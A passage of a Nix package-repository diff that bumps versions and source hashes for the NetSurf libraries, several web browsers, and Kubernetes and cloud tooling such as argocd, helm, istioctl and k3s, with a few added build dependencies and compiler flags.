"sha256-NkhEKeGTYUaFwv8kb1W9Cm3d8xoBi+5F4NH3wohRmV4="; + hash = "sha256-wopiau/uQo0FOxP4i1xECSIkWXZSLRLq8TfP0y0gHLI="; }; nativeBuildInputs = [ @@ -63,10 +65,12 @@ stdenv.mkDerivation (finalAttrs: { buildInputs = [ check curl + gperf libXcursor libXrandr libidn libjpeg + libjxl libpng libwebp libxml2 @@ -103,8 +107,20 @@ stdenv.mkDerivation (finalAttrs: { env.NIX_CFLAGS_COMPILE = "-fcommon"; + env.CFLAGS = lib.optionalString stdenv.isDarwin "-D_DARWIN_C_SOURCE"; + + patchPhase = lib.optionalString stdenv.cc.isClang '' + runHook prePatch + + substituteInPlace Makefile \ + --replace-warn '--trace' '-t' \ + --replace-warn '-Wimplicit-fallthrough=3' '-Wimplicit-fallthrough' + + runHook postPatch + ''; + preConfigure = '' - cat <<EOF > Makefile.conf + cat <<EOF > Makefile.config override NETSURF_GTK_RES_PATH := $out/share/ override NETSURF_USE_GRESOURCE := YES EOF diff --git a/pkgs/applications/networking/browsers/netsurf/libcss.nix b/pkgs/applications/networking/browsers/netsurf/libcss.nix index 66a3a4057d85e..4b54f013449b7 100644 --- a/pkgs/applications/networking/browsers/netsurf/libcss.nix +++ b/pkgs/applications/networking/browsers/netsurf/libcss.nix @@ -10,11 +10,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "netsurf-libcss"; - version = "0.9.1"; + version = "0.9.2"; src = fetchurl { url = "http://download.netsurf-browser.org/libs/releases/libcss-${finalAttrs.version}-src.tar.gz"; - hash = "sha256-0tzhbpM5Lo1qcglCDUfC1Wo4EXAaDoGnJPxUHGPTxtw="; + hash = "sha256-LfIVu+w01R1gwaBLAbLfTV0Y9RDx86evS4DN21ZxFU4="; }; nativeBuildInputs = [ pkg-config ]; @@ -33,7 +33,7 @@ stdenv.mkDerivation (finalAttrs: { env.NIX_CFLAGS_COMPILE = toString [ "-Wno-error=implicit-fallthrough" - "-Wno-error=maybe-uninitialized" + "-Wno-error=${if stdenv.cc.isGNU then "maybe-uninitialized" else "uninitialized"}" ]; meta = { diff --git a/pkgs/applications/networking/browsers/netsurf/libdom.nix b/pkgs/applications/networking/browsers/netsurf/libdom.nix index 328bed30f17d3..2f198021fafbb 100644 --- a/pkgs/applications/networking/browsers/netsurf/libdom.nix +++ b/pkgs/applications/networking/browsers/netsurf/libdom.nix @@ -11,11 +11,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "netsurf-libdom"; - version = "0.4.1"; + version = "0.4.2"; src = fetchurl { url = "http://download.netsurf-browser.org/libs/releases/libdom-${finalAttrs.version}-src.tar.gz"; - hash = "sha256-mO4HJHHlXiCMmHjlFcQQrUYso2+HtK/L7K0CPzos70o="; + hash = "sha256-0F5FrxZUcBTCsKOuzzZw+hPUGfUFs/X8esihSR/DDzw="; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/applications/networking/browsers/netsurf/libhubbub.nix b/pkgs/applications/networking/browsers/netsurf/libhubbub.nix index 29a312928092a..5847fd21d2ae8 100644 --- a/pkgs/applications/networking/browsers/netsurf/libhubbub.nix +++ b/pkgs/applications/networking/browsers/netsurf/libhubbub.nix @@ -1,6 +1,7 @@ { lib , stdenv , fetchurl +, gperf , perl , pkg-config , buildsystem @@ -9,16 +10,17 @@ stdenv.mkDerivation (finalAttrs: { pname = "netsurf-libhubbub"; - version = "0.3.7"; + version = "0.3.8"; src = fetchurl { url = "http://download.netsurf-browser.org/libs/releases/libhubbub-${finalAttrs.version}-src.tar.gz"; - hash = "sha256-nnriU+bJBp51frmtTkhG84tNtSwMoBUURqn6Spd3NbY="; + hash = "sha256-isHm9fPUjAUUHVk5FxlTQpDFnNAp78JJ60/brBAs1aU="; }; nativeBuildInputs = [ pkg-config ]; buildInputs = [ + gperf perl buildsystem libparserutils diff --git a/pkgs/applications/networking/browsers/netsurf/libnsbmp.nix b/pkgs/applications/networking/browsers/netsurf/libnsbmp.nix index 9ae8dafa1b0dc..a0c1cf1062883 100644 --- a/pkgs/applications/networking/browsers/netsurf/libnsbmp.nix +++ b/pkgs/applications/networking/browsers/netsurf/libnsbmp.nix @@ -7,11 +7,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "netsurf-libnsbmp"; - version = "0.1.6"; + version = "0.1.7"; src = fetchurl { url = "http://download.netsurf-browser.org/libs/releases/libnsbmp-${finalAttrs.version}-src.tar.gz"; - hash = "sha256-ecSTZfhg7UUb/EEJ7d7I3j6bfOWjvgaVlr0qoZJ5Mk8="; + hash = "sha256-VAenaCoSK6qqWhW1BSkOLTffVME8Xt70sJ0SyGLYIpM="; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/applications/networking/browsers/netsurf/libnsgif.nix b/pkgs/applications/networking/browsers/netsurf/libnsgif.nix index 20c990448e772..0f57939e17007 100644 --- a/pkgs/applications/networking/browsers/netsurf/libnsgif.nix +++ b/pkgs/applications/networking/browsers/netsurf/libnsgif.nix @@ -8,11 +8,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "netsurf-libnsgif"; - version = "0.2.1"; + version = "1.0.0"; src = fetchurl { url = "http://download.netsurf-browser.org/libs/releases/libnsgif-${finalAttrs.version}-src.tar.gz"; - hash = "sha256-nq6lNM1wtTxar0UxeulXcBaFprSojb407Sb0+q6Hmks="; + hash = "sha256-YBTIQvYUVNL1oPgkPXqNe96bfaPM/cotNGx8CyxMBhs="; }; depsBuildBuild = [ buildPackages.stdenv.cc ]; diff --git a/pkgs/applications/networking/browsers/netsurf/libnsutils.nix b/pkgs/applications/networking/browsers/netsurf/libnsutils.nix index 80e883e4b2440..141117a94f709 100644 --- a/pkgs/applications/networking/browsers/netsurf/libnsutils.nix +++ b/pkgs/applications/networking/browsers/netsurf/libnsutils.nix @@ -7,11 +7,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "netsurf-libnsutils"; - version = "0.1.0"; + version = "0.1.1"; src = fetchurl { url = "http://download.netsurf-browser.org/libs/releases/libnsutils-${finalAttrs.version}-src.tar.gz"; - hash = "sha256-eQxlFjRKvoL2KJ1lY5LpzOvkdbIMx+Hi2EMBE4X3rvA="; + hash = "sha256-VpS0Um5FjtAAQTzmAnWJy+EKJXp+zwZaAUIdxymd6pI="; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/applications/networking/browsers/netsurf/libparserutils.nix b/pkgs/applications/networking/browsers/netsurf/libparserutils.nix index 411495b8e2157..a7db88925768e 100644 --- a/pkgs/applications/networking/browsers/netsurf/libparserutils.nix +++ b/pkgs/applications/networking/browsers/netsurf/libparserutils.nix @@ -3,20 +3,22 @@ , fetchurl , perl , buildsystem +, iconv }: stdenv.mkDerivation (finalAttrs: { pname = "netsurf-libparserutils"; - version = "0.2.4"; + version = "0.2.5"; src = fetchurl { url = "http://download.netsurf-browser.org/libs/releases/libparserutils-${finalAttrs.version}-src.tar.gz"; - hash = "sha256-MiuuYbMMzt4+MFv26uJBSSBkl3W8X/HRtogBKjxJR9g="; + hash = "sha256-MX7VxxjxeSe1chl0uuXeMsP9bQVdsTGtMbQxKgMu0Tk="; }; buildInputs = [ perl buildsystem + iconv ]; makeFlags = [ diff --git a/pkgs/applications/networking/browsers/netsurf/libsvgtiny.nix b/pkgs/applications/networking/browsers/netsurf/libsvgtiny.nix index 19b523ce50ffd..a672a7b7cde9d 100644 --- a/pkgs/applications/networking/browsers/netsurf/libsvgtiny.nix +++ b/pkgs/applications/networking/browsers/netsurf/libsvgtiny.nix @@ -12,11 +12,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "netsurf-libsvgtiny"; - version = "0.1.7"; + version = "0.1.8"; src = fetchurl { url = "http://download.netsurf-browser.org/libs/releases/libsvgtiny-${finalAttrs.version}-src.tar.gz"; - hash = "sha256-LA3PlS8c2ILD6VQB75RZ8W27U8XT5FEjObL563add4E="; + hash = "sha256-w1cifwLoP7KnaxK5ARkaCCIp2x8Ac2Lo8xx1RRDCoBw="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/networking/browsers/opera/default.nix b/pkgs/applications/networking/browsers/opera/default.nix index 71ab94dad5af2..e890b35bc635d 100644 --- a/pkgs/applications/networking/browsers/opera/default.nix +++ b/pkgs/applications/networking/browsers/opera/default.nix @@ -51,11 +51,11 @@ let in stdenv.mkDerivation rec { pname = "opera"; - version = "106.0.4998.70"; + version = "107.0.5045.36"; src = fetchurl { url = "${mirror}/${version}/linux/${pname}-stable_${version}_amd64.deb"; - hash = "sha256-JTLu59x5fthTKwP4cTX8pabRWFVhkatGNm0bV2yHBxE="; + hash = "sha256-NSJmPwDZbmZUv7HoTiZJbvJTAS6HENFWX+JjKVC0oPc="; }; unpackPhase = "dpkg-deb -x $src ."; diff --git a/pkgs/applications/networking/browsers/polypane/default.nix b/pkgs/applications/networking/browsers/polypane/default.nix index cf963ab317853..aa4032a7d7d9c 100644 --- a/pkgs/applications/networking/browsers/polypane/default.nix +++ b/pkgs/applications/networking/browsers/polypane/default.nix @@ -2,12 +2,12 @@ let pname = "polypane"; - version = "17.1.0"; + version = "18.0.0"; src = fetchurl { url = "https://github.com/firstversionist/${pname}/releases/download/v${version}/${pname}-${version}.AppImage"; name = "${pname}-${version}.AppImage"; - sha256 = "sha256-vOSw+zjO8OJWRzAdnl4i3MLg+AyXFQwYBg332MXdQhw="; + sha256 = "sha256-d2A+edQJKyChNCA7QH+YjlcIlHYVghX3UP60ZZBtP1s="; }; appimageContents = appimageTools.extractType2 { diff --git a/pkgs/applications/networking/browsers/tor-browser/default.nix b/pkgs/applications/networking/browsers/tor-browser/default.nix index 1cc5b9405ec5d..41d22dc39aa39 100644 --- a/pkgs/applications/networking/browsers/tor-browser/default.nix +++ b/pkgs/applications/networking/browsers/tor-browser/default.nix @@ -101,7 +101,7 @@ lib.warnIf (useHardenedMalloc != null) ++ lib.optionals mediaSupport [ ffmpeg ] ); - version = "13.0.9"; + version = "13.0.11"; sources = { x86_64-linux = fetchurl { @@ -111,7 +111,7 @@ lib.warnIf (useHardenedMalloc != null) "https://tor.eff.org/dist/torbrowser/${version}/tor-browser-linux-x86_64-${version}.tar.xz" "https://tor.calyxinstitute.org/dist/torbrowser/${version}/tor-browser-linux-x86_64-${version}.tar.xz" ]; - hash = "sha256-qcB3DLVt2J4WNJLunDSnZdyflMY9/NIsGrj+TkQeJEg="; + hash = "sha256-a8BAesBp85oaHJrkQYcYufH9cy7OrFrfnljZZrFPlGE="; }; i686-linux = fetchurl { @@ -121,7 +121,7 @@ lib.warnIf (useHardenedMalloc != null) "https://tor.eff.org/dist/torbrowser/${version}/tor-browser-linux-i686-${version}.tar.xz" "https://tor.calyxinstitute.org/dist/torbrowser/${version}/tor-browser-linux-i686-${version}.tar.xz" ]; - hash = "sha256-aq2WffQ3ZUL0vopbDU5n9bWb8MC7rHoaz54kz2oaXz8="; + hash = "sha256-cyZnLcJmXNjBJhBLwBoW09K6dsT6Og+h0ufc4/6zxac="; }; }; diff --git a/pkgs/applications/networking/browsers/vivaldi/default.nix b/pkgs/applications/networking/browsers/vivaldi/default.nix index 4995a5b9340e1..ada3dc518efc6 100644 --- a/pkgs/applications/networking/browsers/vivaldi/default.nix +++ b/pkgs/applications/networking/browsers/vivaldi/default.nix @@ -24,7 +24,7 @@ let vivaldiName = if isSnapshot then "vivaldi-snapshot" else "vivaldi"; in stdenv.mkDerivation rec { pname = "vivaldi"; - version = "6.5.3206.55"; + version = "6.5.3206.63"; suffix = { aarch64-linux = "arm64"; @@ -34,8 +34,8 @@ in stdenv.mkDerivation rec { src = fetchurl { url = "https://downloads.vivaldi.com/${branch}/vivaldi-${branch}_${version}-1_${suffix}.deb"; hash = { - aarch64-linux = "sha256-lr+9+w1vRZSG/2dP5K3mcKLCQijckPdkM/I2DgjO4wg="; - x86_64-linux = "sha256-ElkuuaZfK8F6CVA5xbKszkbqdcPACFR+xd0pRxnd6+U="; + aarch64-linux = "sha256-MyKTihImCd1/4UwnC/GqyeQcYnJNvKW5UfIIRN45r8E="; + x86_64-linux = "sha256-RbGoOKQyAaNY+y+jCT+r7GI9vymTT9kPDrwl9/bhaNw="; }.${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}"); }; diff --git a/pkgs/applications/networking/browsers/yandex-browser/default.nix b/pkgs/applications/networking/browsers/yandex-browser/default.nix index 24148153cf89e..9c1e5a0d22455 100644 --- a/pkgs/applications/networking/browsers/yandex-browser/default.nix +++ b/pkgs/applications/networking/browsers/yandex-browser/default.nix @@ -54,15 +54,15 @@ let version = { - corporate = "23.9.1.1016-1"; - beta = "23.9.1.1028-1"; - stable = "23.9.1.962-1"; + corporate = "23.11.1.822-1"; + beta = "24.1.1.939-1"; + stable = "24.1.1.940-1"; }.${edition}; hash = { - corporate = "sha256-A/MjphA6vefDzPmShpPbgjDTl4WnCiZWuHofy1Djrzc="; - beta = "sha256-vnz1weMwR3V/mBNzrJ0iqnA/aifYTCucW+9kyy/0SnA="; - stable = "sha256-VrDqFLvK7RdnV6Yt1DILu7mV1WFcilOH5+VKlCdpXjc="; + corporate = "sha256-OOcz2dQeVea0vBjF1FyrCsnRR+WrCzfLTd+YXpLJCsI="; + beta = "sha256-Meswp1aeNTBr79l7XGWqJT9qqUdOfSzIpdL1L29UfJw="; + stable = "sha256-FZHoCRedpHHVwibSXts2DncUN83PZ9UlVOSXPjgAaNs="; }.${edition}; app = { diff --git a/pkgs/applications/networking/cloudflared/default.nix b/pkgs/applications/networking/cloudflared/default.nix index 97515d4ead7a7..00e471590ec42 100644 --- a/pkgs/applications/networking/cloudflared/default.nix +++ b/pkgs/applications/networking/cloudflared/default.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "cloudflared"; - version = "2024.1.5"; + version = "2024.2.1"; src = fetchFromGitHub { owner = "cloudflare"; repo = "cloudflared"; rev = "refs/tags/${version}"; - hash = "sha256-g7FUwEs/wEcX1vRgfoQZw+uMzx6ng3j4vFwhlHs6WKg="; + hash = "sha256-aSAwDz7QSYbHfDA+/usGh7xCxSq+kBTB3eqMBf5XEa8="; }; vendorHash = null; diff --git a/pkgs/applications/networking/cluster/acorn/default.nix b/pkgs/applications/networking/cluster/acorn/default.nix index 30437c08cf165..f26ebfc4c02f4 100644 --- a/pkgs/applications/networking/cluster/acorn/default.nix +++ b/pkgs/applications/networking/cluster/acorn/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "acorn"; - version = "0.10.0"; + version = "0.10.1"; src = fetchFromGitHub { owner = "acorn-io"; repo = pname; rev = "v${version}"; - hash = "sha256-U4VQ8PsmJxeMYj7TlsQQOEPckECDK+ENBQLjq5VFyJ4="; + hash = "sha256-Zw/OqN4d5iukh9oUXjczMvNKYkcGSUoDEwfti7uzZXQ="; }; - vendorHash = "sha256-FZJqE7BWGvXsFsfxnnaKUFLInBzz+bUwURq4KvSMrus="; + vendorHash = "sha256-d/1Rqh00THUwcMBWloevfKbScaWhVG5r/32Q4zYUaJg="; ldflags = [ "-s" diff --git a/pkgs/applications/networking/cluster/argo/default.nix b/pkgs/applications/networking/cluster/argo/default.nix index 7836cfa844c04..a76c04324ec0a 100644 --- a/pkgs/applications/networking/cluster/argo/default.nix +++ b/pkgs/applications/networking/cluster/argo/default.nix @@ -34,16 +34,16 @@ let in buildGoModule rec { pname = "argo"; - version = "3.5.4"; + version = "3.5.5"; src = fetchFromGitHub { owner = "argoproj"; repo = "argo"; rev = "refs/tags/v${version}"; - hash = "sha256-23O8YNnMONrlWcTj6gxXQ0xJw0s0pa/ZoY0OKhzEv5o="; + hash = "sha256-SONi7GmFgBEA+5l8ftjFP3+hk55eZmhkLLuu5FfyVFo="; }; - vendorHash = "sha256-bUCbrHr7N3IB0tnnQ0TlHjaW7tp4iIGFO28KoJEj2sg="; + vendorHash = "sha256-XjwtgJdBk9YIro1WlunYmKkuZSrSJTN/BLXn7i3+9xY="; doCheck = false; diff --git a/pkgs/applications/networking/cluster/argocd/default.nix b/pkgs/applications/networking/cluster/argocd/default.nix index 37eca71258985..2d84c51b8059c 100644 --- a/pkgs/applications/networking/cluster/argocd/default.nix +++ b/pkgs/applications/networking/cluster/argocd/default.nix @@ -2,17 +2,17 @@ buildGoModule rec { pname = "argocd"; - version = "2.9.6"; + version = "2.10.2"; src = fetchFromGitHub { owner = "argoproj"; repo = "argo-cd"; rev = "v${version}"; - hash = "sha256-TwDWcTxYRopQjjtY3OxOL/BDAF2/eJuqIhDJLxpgr3E="; + hash = "sha256-eFa2AXFVymi7et+fHTLgdiBUq6D8zK5DRg9Dqhxe4TE="; }; proxyVendor = true; # darwin/linux hash mismatch - vendorHash = "sha256-gpg9tXVR/svWwbjIiY1OlOf56azxk/dEz+VtaaTeDSk="; + vendorHash = "sha256-O13zMtrXgW3SiJmAn64/QW/CJN0+d0h0MMyEWKsy9WE="; # Set target as ./cmd per cli-local # https://github.com/argoproj/argo-cd/blob/master/Makefile#L227 diff --git a/pkgs/applications/networking/cluster/arkade/default.nix b/pkgs/applications/networking/cluster/arkade/default.nix index 39f5f70988c51..82e5d12eaede2 100644 --- a/pkgs/applications/networking/cluster/arkade/default.nix +++ b/pkgs/applications/networking/cluster/arkade/default.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "arkade"; - version = "0.10.20"; + version = "0.11.4"; src = fetchFromGitHub { owner = "alexellis"; repo = "arkade"; rev = version; - hash = "sha256-aOJ07Ks+J7cDvF3InKGYx4dJAql9ltJQqa8P+4cKhNk="; + hash = "sha256-nRA/3dJn6hUJDppS/tt/WRIoYrRTeuY7ULZXii3LC48="; }; CGO_ENABLED = 0; diff --git a/pkgs/applications/networking/cluster/atmos/default.nix b/pkgs/applications/networking/cluster/atmos/default.nix index 20b02e7d12008..af4dad92e4663 100644 --- a/pkgs/applications/networking/cluster/atmos/default.nix +++ b/pkgs/applications/networking/cluster/atmos/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "atmos"; - version = "1.60.0"; + version = "1.64.3"; src = fetchFromGitHub { owner = "cloudposse"; repo = pname; rev = "v${version}"; - sha256 = "sha256-sc0tKOv5J4lF00Zzs2X6ff1EC1xrTRbDvVopq+1Wn6Y="; + sha256 = "sha256-Z27wFAWstsQliDiYl93yY9LDeVcGEWcrmggGJI60hxk="; }; - vendorHash = "sha256-wmpFWySQ9MaRGT3yw4gUQEWsF4MNbSDUu68/LHjE28w="; + vendorHash = "sha256-i7m9YXPlWqHtvC4Df7v5bLWt2tqeT933t2+Xit5RQxg="; ldflags = [ "-s" "-w" "-X github.com/cloudposse/atmos/cmd.Version=v${version}" ]; diff --git a/pkgs/applications/networking/cluster/bosh-cli/default.nix b/pkgs/applications/networking/cluster/bosh-cli/default.nix index f54860cd95e14..ab20b2dc72cc8 100644 --- a/pkgs/applications/networking/cluster/bosh-cli/default.nix +++ b/pkgs/applications/networking/cluster/bosh-cli/default.nix @@ -8,13 +8,13 @@ buildGoModule rec { pname = "bosh-cli"; - version = "7.5.2"; + version = "7.5.4"; src = fetchFromGitHub { owner = "cloudfoundry"; repo = pname; rev = "v${version}"; - sha256 = "sha256-gT0Oivo5QE+pr5PpD/7JAj8oYF9UmSi5F6Ps8RtACzc="; + sha256 = "sha256-aNzKp7QwyhC/ado0NrCyxrRZu+ePGBNSq31/Iw6k6n0="; }; vendorHash = null; diff --git a/pkgs/applications/networking/cluster/calico/default.nix b/pkgs/applications/networking/cluster/calico/default.nix index 16bf611f36652..145c5d332e00c 100644 --- a/pkgs/applications/networking/cluster/calico/default.nix +++ b/pkgs/applications/networking/cluster/calico/default.nix @@ -2,16 +2,16 @@ builtins.mapAttrs (pname: { doCheck ? true, mainProgram ? pname, subPackages }: buildGoModule rec { inherit pname; - version = "3.27.0"; + version = "3.27.2"; src = fetchFromGitHub { owner = "projectcalico"; repo = "calico"; rev = "v${version}"; - hash = "sha256-BW7xo7gOeFOM/5EGMlhkqDyOdZOkqliWa4B2U1fLn5c="; + hash = "sha256-iVRK/5vjPnfJMULaufaOu8u09utSt3u85R4cIBl+yUI="; }; - vendorHash = "sha256-DK+mkbmOS56gVU/hIqAIELTkeALcdR7Pnq5niAhyzLw="; + vendorHash = "sha256-h4qTtMG4Xi6YqLMMsXZRWVVdQ3U3VrFG6bV7YDwT5Zk="; inherit doCheck subPackages; diff --git a/pkgs/applications/networking/cluster/clusterctl/default.nix b/pkgs/applications/networking/cluster/clusterctl/default.nix index 9bc57649778ec..b2b5390af48b5 100644 --- a/pkgs/applications/networking/cluster/clusterctl/default.nix +++ b/pkgs/applications/networking/cluster/clusterctl/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "clusterctl"; - version = "1.6.1"; + version = "1.6.2"; src = fetchFromGitHub { owner = "kubernetes-sigs"; repo = "cluster-api"; rev = "v${version}"; - hash = "sha256-v87QxDx+DA5pJHmu6jNwLcs4dNEsa5fUoRcVAhMnh24="; + hash = "sha256-OTOM83dsf6Fk+CYkACQOmguDTYfZvN9qes3S/cFEq/8="; }; - vendorHash = "sha256-1W+nkhbJRHd4AaOzO01ZUu6wFvFIG0SOCzc4dg0Zopk="; + vendorHash = "sha256-SwJx3KPdOugDYLLymPyrPam0uMyRWIDpQn79Sd9fhJ4="; subPackages = [ "cmd/clusterctl" ]; diff --git a/pkgs/applications/networking/cluster/cmctl/default.nix b/pkgs/applications/networking/cluster/cmctl/default.nix index 73dffd03400b7..e23af212b554b 100644 --- a/pkgs/applications/networking/cluster/cmctl/default.nix +++ b/pkgs/applications/networking/cluster/cmctl/default.nix @@ -8,18 +8,18 @@ buildGoModule rec { pname = "cmctl"; - version = "1.14.1"; + version = "1.14.3"; src = fetchFromGitHub { owner = "cert-manager"; repo = "cert-manager"; rev = "v${version}"; - hash = "sha256-tS/s8zrOomuUBIoIh81RMdwmPM9pcz4cNSKVQfNxlrI="; + hash = "sha256-CPHSWGM8zq+Sg0tqdm9kmIyBFpVf1ot40Ud7Mpe1sNI="; }; sourceRoot = "${src.name}/cmd/ctl"; - vendorHash = "sha256-9Y8u6DVS08liliMNEalX6XQU50qRFy5qZq/9EvRSBRQ="; + vendorHash = "sha256-CBX/U9v2ubmPveXUeWbogHDyWVAtU0pyOWAlnRsMs4c="; ldflags = [ "-s" diff --git a/pkgs/applications/networking/cluster/glooctl/default.nix b/pkgs/applications/networking/cluster/glooctl/default.nix index 6b7f263a1aea1..487fe6085af68 100644 --- a/pkgs/applications/networking/cluster/glooctl/default.nix +++ b/pkgs/applications/networking/cluster/glooctl/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "glooctl"; - version = "1.16.3"; + version = "1.16.5"; src = fetchFromGitHub { owner = "solo-io"; repo = "gloo"; rev = "v${version}"; - hash = "sha256-BGyaYINFFCqEH+UH8XqKom+2eUhgPRF3cMp9fq3whpI="; + hash = "sha256-pxF5X3fCBeWFLQj8S0xYDcQNRs375RJIrl62nGjZZr0="; }; - vendorHash = "sha256-GTd38gSlCKTjfLkAW/Tz22oQJ4FhZB+9vpN/8q4JSCo="; + vendorHash = "sha256-kbbgEnpqev7b4Sycmhs8xbu+yO4oMELh9xDmw7YyWYU="; subPackages = [ "projects/gloo/cli/cmd" ]; diff --git a/pkgs/applications/networking/cluster/helm/default.nix b/pkgs/applications/networking/cluster/helm/default.nix index 474eb557c6b7e..4dc1fbd91a348 100644 --- a/pkgs/applications/networking/cluster/helm/default.nix +++ b/pkgs/applications/networking/cluster/helm/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "kubernetes-helm"; - version = "3.14.0"; + version = "3.14.2"; src = fetchFromGitHub { owner = "helm"; repo = "helm"; rev = "v${version}"; - sha256 = "sha256-xkMPROdhZ6mq839aMkpCvYIU8SVt48K0n17WnYFfQ+0="; + sha256 = "sha256-7Cd5lxPSXXCvYLLh334qnDmd9zbF1LMxTNoZEBpzHS4="; }; vendorHash = "sha256-pYB9J7Zf6MApGpFL7HzqIDcC/vERiVE4z8SsipIeJ7c="; diff --git a/pkgs/applications/networking/cluster/helm/plugins/helm-diff.nix b/pkgs/applications/networking/cluster/helm/plugins/helm-diff.nix index 3ed94a3a621c8..267aceb08298f 100644 --- a/pkgs/applications/networking/cluster/helm/plugins/helm-diff.nix +++ b/pkgs/applications/networking/cluster/helm/plugins/helm-diff.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "helm-diff"; - version = "3.9.2"; + version = "3.9.4"; src = fetchFromGitHub { owner = "databus23"; repo = pname; rev = "v${version}"; - sha256 = "sha256-4EjvjvW8aal/ekGV0ePevPf30NarrWIh6id30n1r2dE="; + sha256 = "sha256-hDni0bAF4tp7upP/D5S6dGN//zaNHidWAYf/l6W9j28="; }; - vendorHash = "sha256-RPb5+tZkOsubOl0YlSXsybmlOtKVbJ97c+f/wiz/gmE="; + vendorHash = "sha256-51xjHGU9TC4Nwa9keR0b7bgwpZcRmG7duT9R1JRr3Uw="; ldflags = [ "-s" "-w" "-X github.com/databus23/helm-diff/v3/cmd.Version=${version}" ]; diff --git a/pkgs/applications/networking/cluster/helm/plugins/helm-git.nix b/pkgs/applications/networking/cluster/helm/plugins/helm-git.nix index d72b152cc5bf4..196be4a1524a2 100644 --- a/pkgs/applications/networking/cluster/helm/plugins/helm-git.nix +++ b/pkgs/applications/networking/cluster/helm/plugins/helm-git.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation rec { pname = "helm-git"; - version = "0.10.0"; + version = "0.15.1"; src = fetchFromGitHub { owner = "aslafy-z"; repo = pname; rev = "v${version}"; - sha256 = "0hvycqibmlw2zw3nm8rn73v5x1zcgm2jrfdlljbvc1n4n5vnzdrg"; + sha256 = "sha256-k8kPuB5GIBjOISL4AM/I4PPrYbrdgYIwVgosMpunZpQ="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/applications/networking/cluster/helm/plugins/helm-unittest.nix b/pkgs/applications/networking/cluster/helm/plugins/helm-unittest.nix index c5c33573c9214..8e0a72251ca3d 100644 --- a/pkgs/applications/networking/cluster/helm/plugins/helm-unittest.nix +++ b/pkgs/applications/networking/cluster/helm/plugins/helm-unittest.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "helm-unittest"; - version = "0.4.1"; + version = "0.4.2"; src = fetchFromGitHub { owner = pname; repo = pname; rev = "v${version}"; - hash = "sha256-8rGYFoBhNPJnsZsRXJ7Z9a/KOV4d2ZIVLSdYCpf3IMs="; + hash = "sha256-51Cx8V0cvuyBLFVmOWpA8X/kpDR67Q5EYZct44ED/ys="; }; - vendorHash = "sha256-wD4FxJ/+8iw2qAz+s0G/8/PKt7X0MZn+roWtc/wTWmw="; + vendorHash = "sha256-6tXQ2fbn1ZzImx8luxetXHNj3gIUt217rjXJPxMpjTw="; # NOTE: Remove the install and upgrade hooks. postPatch = '' diff --git a/pkgs/applications/networking/cluster/istioctl/default.nix b/pkgs/applications/networking/cluster/istioctl/default.nix index 24a0df3f70b56..4c19d2404834c 100644 --- a/pkgs/applications/networking/cluster/istioctl/default.nix +++ b/pkgs/applications/networking/cluster/istioctl/default.nix @@ -2,15 +2,15 @@ buildGoModule rec { pname = "istioctl"; - version = "1.20.2"; + version = "1.20.3"; src = fetchFromGitHub { owner = "istio"; repo = "istio"; rev = version; - hash = "sha256-0Ep7HPc+1e2M87Z6qCKvAxpYxWjajruTrpP9EBe1PC0="; + hash = "sha256-NimwuQj/EvWtXt87LgHWwcZ2hAd548o/agXY4TVK63o="; }; - vendorHash = "sha256-o9NFRVAY5AD5CB9GGSJTvxJM6uXBrDQVBy1slOByIrU="; + vendorHash = "sha256-4HzUsTLt4R35TS4jKOmrKW0At9q8W61TU+NTQ/K7Axk="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/applications/networking/cluster/k3s/1_28/versions.nix b/pkgs/applications/networking/cluster/k3s/1_28/versions.nix index f1d3ea13177ab..2b80857955771 100644 --- a/pkgs/applications/networking/cluster/k3s/1_28/versions.nix +++ b/pkgs/applications/networking/cluster/k3s/1_28/versions.nix @@ -1,8 +1,8 @@ { - k3sVersion = "1.28.6+k3s1"; - k3sCommit = "39a0001575780fffa6aae0271f4cb4ce7413aac8"; - k3sRepoSha256 = "1bhbpbgs02gh5y7pgn6vmanacrz3p0b2gq3w2kqpb11bijp2alld"; - k3sVendorHash = "sha256-Mo+gZ+NOZqd3CP/Z02LfO4dHyEuRhabZVAU60GofOMo="; + k3sVersion = "1.28.6+k3s2"; + k3sCommit = "c9f49a3b06cd7ebe793f8cc1dcd0293168e743d9"; + k3sRepoSha256 = "0vz5976q58v9x6g1qz6kz3xksgf8gm1f727ccckmpbyxbhw75zsa"; + k3sVendorHash = "sha256-HG4x3N/F5qCFpLxGrUWPkBHHqY7WBRDWN7DNyAcJwyI="; chartVersions = import ./chart-versions.nix; k3sRootVersion = "0.12.2"; k3sRootSha256 = "1gjynvr350qni5mskgm7pcc7alss4gms4jmkiv453vs8mmma9c9k"; diff --git a/pkgs/applications/networking/cluster/k3s/1_29/versions.nix b/pkgs/applications/networking/cluster/k3s/1_29/versions.nix index 00bc1476306db..bfb337a9824b1 100644 --- a/pkgs/applications/networking/cluster/k3s/1_29/versions.nix +++ b/pkgs/applications/networking/cluster/k3s/1_29/versions.nix @@ -1,8 +1,8 @@ { - k3sVersion = "1.29.0+k3s1"; - k3sCommit = "3190a5faa28d7a0d428c756d67adcab7eb11e6a5"; - k3sRepoSha256 = "1g75a7kz9nnv0vagzhggkw0zqigykimdwsmibgssa8vyjpg7idda"; - k3sVendorHash = "sha256-iHmPVjYR/ZLH9UZ5yNEApyuGQsEwtxVbQw7Pu7WrpaQ="; + k3sVersion = "1.29.1+k3s2"; + k3sCommit = "57482a1c1bb9c67b5f893418a114edca1004258e"; + 